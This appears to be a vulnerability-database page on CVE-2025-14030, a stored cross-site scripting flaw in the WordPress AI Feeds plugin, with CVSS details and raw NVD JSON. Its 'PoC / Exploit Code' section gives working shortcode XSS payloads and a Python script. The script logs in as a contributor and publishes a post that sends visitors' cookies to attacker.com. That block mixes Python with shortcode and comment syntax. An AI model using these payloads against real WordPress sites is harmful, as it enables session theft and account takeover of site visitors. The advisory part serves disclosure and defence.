Security Vulnerability Report
中文
CVE-2025-14030 CVSS 6.4 MEDIUM

CVE-2025-14030

Published: 2025-12-12 12:15:46
Last Modified: 2026-04-15 00:35:42

Description

The AI Feeds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'aife_post_meta' shortcode in all versions up to, and including, 1.0.22 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AI Feeds plugin for WordPress ≤ 1.0.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
WordPress Stored XSS via AI Feeds 'aife_post_meta' Shortcode // PoC: Inject malicious script via shortcode [aife_post_meta key='xss' value='<script>alert(document.cookie)</script>'] // Alternative PoC with event handler [aife_post_meta key='xss' value='" onmouseover="alert(String.fromCharCode(88,83,83))" style="position:fixed;top:0;left:0;width:100%;height:100%" onmouseover="'] // Automated exploitation example (Python) import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" # Login with Contributor account session = requests.Session() login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Post", "post_content": "[aife_post_meta key='xss' value='<script>fetch(\"https://attacker.com/steal?c=\"+document.cookie)</script>']", "post_status": "publish" } response = session.post(post_url, data=post_data) print("XSS payload injected successfully")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14030", "sourceIdentifier": "[email protected]", "published": "2025-12-12T12:15:45.897", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AI Feeds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'aife_post_meta' shortcode in all versions up to, and including, 1.0.22 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ai-feeds/tags/1.0.12/includes/functions.php#L58", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-feeds/trunk/includes/functions.php#L58", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3417124%40ai-feeds&new=3417124%40ai-feeds&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d33721e2-0a90-4102-84d5-2633c0fd47ed?source=cve", "source": "[email protected]"}]}}